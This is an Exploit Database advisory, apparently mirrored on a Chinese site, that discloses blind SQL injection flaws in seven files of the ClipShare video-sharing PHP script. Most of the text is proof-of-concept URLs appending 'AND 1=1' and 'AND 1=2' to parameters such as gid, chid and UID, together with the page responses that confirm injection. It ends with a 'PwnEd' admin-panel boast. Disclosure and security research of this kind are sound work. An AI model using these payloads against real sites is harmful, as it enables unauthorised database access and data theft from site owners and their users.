ClipShare 4.1.1 – Multiples Vulnerabilities

• Exploit Database
• 112 阅读

• 作者： Esac
  日期： 2013-03-27
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/24894/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150

  # Exploit Title: ClipShare 4.1.1 - Multiples Vulnerabilites # Exploit Author: Esac # Vulnerable Software: ClipShare - Video Sharing Community Script 4.1.4 # Official site: http://www.clip-share.com # Software License: Commercial. #all versions are vulnerable: #Last Checked: 27 March 2013   # Note : to exploit this vulnerability MAGIC_QUOTES_GPC directive must be turned off on server side.(php.ini)   ==============================================================================================   vuln file : gvideos.php , param : gid   Poc :   http://server/mavideo/gvideos.php?gid=1 [Blind]   #to exlploit this poc , must group to be added previously with some videos publics   Real exploitation :   http://server/mavideo/gvideos.php?gid=1 AND 1=1   ==> return normal page   http://server/mavideo/gvideos.php?gid=1 AND 1=2 ==> return page with some errors ( or with nothing - white page )     -------------------------------------------------------------------------------------------------------------------------------------------------     vuln file : channel_detail.php , param : chid   Poc :   http://server/mavideo/channel_detail.php?chid=4 [Blind]     Real exploitation :   http://server/mavideo/channel_detail.php?chid=4 AND 1=1 ==> return normal page   http://server/mavideo/channel_detail.php?chid=4 AND 1=2 ==> return page with some errors ( or with nothing - white page )     -------------------------------------------------------------------------------------------------------------------------------------------------   vuln file : uprofile.php , param : UID   Poc :   http://server/mavideo/uprofile.php?UID=66 [Blind]     Real exploitation :   http://server/mavideo/uprofile.php?UID=66 AND 1=1 ==> return normal page   http://server/mavideo/uprofile.php?UID=66 AND 1=2 ==> return page with some errors ( or with nothing - white page )     -------------------------------------------------------------------------------------------------------------------------------------------------   vuln file : ufavour.php , param : UID   Poc :   http://server/mavideo/ufavour.php?UID=66 [Blind]     Real exploitation :   http://server/mavideo/ufavour.php?UID=66 AND 1=1 ==> return normal page   http://server/mavideo/ufavour.php?UID=66 AND 1=2 ==> return page with some errors ( or with nothing - white page )     ------------------------------------------------------------------------------------------------------------------------------------------------- vuln file : ufriends.php , param : UID   Poc :   http://server/mavideo/ufriends.php?UID=66 [Blind]     Real exploitation :   http://server/mavideo/ufriends.php?UID=66 AND 1=1 ==> return normal page   http://server/mavideo/ufriends.php?UID=66 AND 1=2 ==> return page with some errors ( or with nothing - white page )     ------------------------------------------------------------------------------------------------------------------------------------------------- vuln file : uplaylist.php , param : UID   Poc :   http://server/mavideo/uplaylist.php?UID=66 [Blind]     Real exploitation :   http://server/mavideo/uplaylist.php?UID=66 AND 1=1 ==> return normal page   http://server/mavideo/uplaylist.php?UID=66 AND 1=2 ==> return page with some errors ( or with nothing - white page )     ------------------------------------------------------------------------------------------------------------------------------------------------- vuln file : ugroups.php , param : UID   Poc :   http://server/mavideo/ugroups.php?UID=66 [Blind]     Real exploitation :   http://server/mavideo/ugroups.php?UID=66 AND 1=1 ==> return normal page   http://server/mavideo/ugroups.php?UID=66 AND 1=2 ==> return page with some errors ( or with nothing - white page )     -------------------------------------------------------------------------------------------------------------------------------------------------   PwnEd. Tested version: Sunday , March 27, 2013 | Version: 4.1.4 | Username: admin | Logout Copyright © 2006-2008 ClipShare. All rights reserved. ~ Game Over ~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~   Greetz : White Tarbouch Team & Cobra & Dami   ==> Made In Moroco <== ./Esac